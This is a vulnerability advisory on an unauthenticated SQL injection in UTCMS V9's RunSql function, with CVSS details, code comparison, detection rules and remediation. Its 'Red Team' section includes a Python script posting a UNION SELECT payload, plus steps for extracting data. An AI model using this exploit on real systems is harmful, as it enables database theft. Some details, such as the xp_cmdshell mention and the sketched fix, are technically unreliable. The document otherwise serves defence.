CVE-2025-56407

Executive Summary

CVE-2025-56407 is a critical unauthenticated SQL injection vulnerability in HuangDou UTCMS V9, specifically within the RunSql function in app/modules/ut-data/admin/mysql.php. The vulnerability allows remote attackers to execute arbitrary SQL commands by manipulating the sql parameter. Given the public disclosure of exploit details and the absence of a vendor patch, this vulnerability poses a severe risk to all instances of UTCMS V9. Immediate mitigation actions are required.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP application (UTCMS) with no known package manager distribution.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code is available.

Deep Dive & Mechanics

The vulnerability resides in the RunSql function within app/modules/ut-data/admin/mysql.php. This function is intended for administrative database operations but fails to sanitize or parameterize the sql parameter. An attacker can send a crafted HTTP request to the vulnerable endpoint, injecting arbitrary SQL commands.

Root Cause: The application directly concatenates user-supplied input into SQL queries without proper escaping or prepared statements.

Attack Vector: HTTP POST/GET request to the vulnerable endpoint with a malicious sql parameter.

Impact: Full database compromise, including data exfiltration, modification, deletion, and potential server-level compromise via xp_cmdshell or similar database features.

Vulnerable vs. Patched Code

Vulnerable Code (app/modules/ut-data/admin/mysql.php):

function RunSql($sql) {
    $result = mysql_query($sql); // Direct execution without sanitization
    return $result;
}

Patched Code (Recommended):

function RunSql($sql) {
    // Use prepared statements with parameterized queries
    $stmt = $db->prepare("SELECT * FROM some_table WHERE id = ?");
    $stmt->bind_param("s", $sql);
    $stmt->execute();
    return $stmt->get_result();
}

Note: The patched code is a conceptual example. The actual fix requires rewriting the function to use prepared statements or stored procedures, and restricting the sql parameter to a whitelist of allowed commands.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://target.com/ut-data/admin/mysql.php"
payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"

data = {"sql": payload}
response = requests.post(target, data=data)

print(response.text)

Usage:

1. Replace target with the vulnerable UTCMS URL.
2. Run the script to execute the SQL injection.
3. Modify the payload to extract data (e.g., SELECT @@version, SELECT table_name FROM information_schema.tables).

Lab Setup:

• Install UTCMS V9 on a local server (e.g., XAMPP, LAMP).
• Ensure the app/modules/ut-data/admin/mysql.php file is accessible.
• Use Burp Suite or similar to intercept and modify requests.

Blue Team

Detection Steps:

1. Monitor web server logs for requests to /ut-data/admin/mysql.php with suspicious sql parameters.
2. Look for SQL keywords (e.g., UNION, SELECT, INSERT, DROP) in the sql parameter.
3. Implement Web Application Firewall (WAF) rules to block SQL injection patterns.

Honeypot:

• Deploy a fake UTCMS instance and log all requests to the vulnerable endpoint.
• Analyze attacker behavior and payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /ut-data/admin/mysql.php with a sql parameter containing SQL keywords.
  • Outbound database connections from the web server to unexpected IPs.
• File IOCs:
  • Modified or new files in the UTCMS installation directory (e.g., webshells).
  • Suspicious entries in database logs (e.g., SELECT * FROM users).
• System IOCs:
  • Unusual database queries in MySQL logs.
  • New user accounts or elevated privileges.

Detection Engineering

YARA Rule

rule CVE_2025_56407_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting UTCMS V9 RunSql function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56407"
    strings:
        $s1 = "RunSql" nocase
        $s2 = "mysql.php" nocase
        $s3 = "sql=" nocase
        $s4 = "UNION" nocase
        $s5 = "SELECT" nocase
        $s6 = "DROP" nocase
    condition:
        all of ($s1, $s2, $s3) and 1 of ($s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt Against UTCMS V9
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the RunSql function in UTCMS V9
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: '/ut-data/admin/mysql.php'
        cs-uri-query|contains: 'sql='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'DROP'
        - 'INSERT'
        - 'DELETE'
    condition: selection and keywords
falsepositives:
    - Legitimate administrative SQL queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-56407 SQL Injection Attempt"; flow:to_server; content:"/ut-data/admin/mysql.php"; http_uri; content:"sql="; http_client_body; pcre:"/(UNION|SELECT|DROP|INSERT|DELETE)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /ut-data/admin/mysql.php via web server configuration (e.g., .htaccess).
2. Apply WAF rules: Use a Web Application Firewall to block SQL injection patterns.
3. Isolate UTCMS: If possible, move the application to a segmented network with restricted database access.

Long-term Fix:

1. Rewrite the RunSql function: Use prepared statements or parameterized queries.
2. Input validation: Whitelist allowed SQL commands and sanitize all inputs.
3. Upgrade: Monitor for official patches from HuangDou or migrate to a supported CMS.

Compromise Assessment:

• Review database logs for unauthorized queries.
• Check for webshells or backdoors in the web root.
• Rotate all database credentials and application secrets.

Valters IT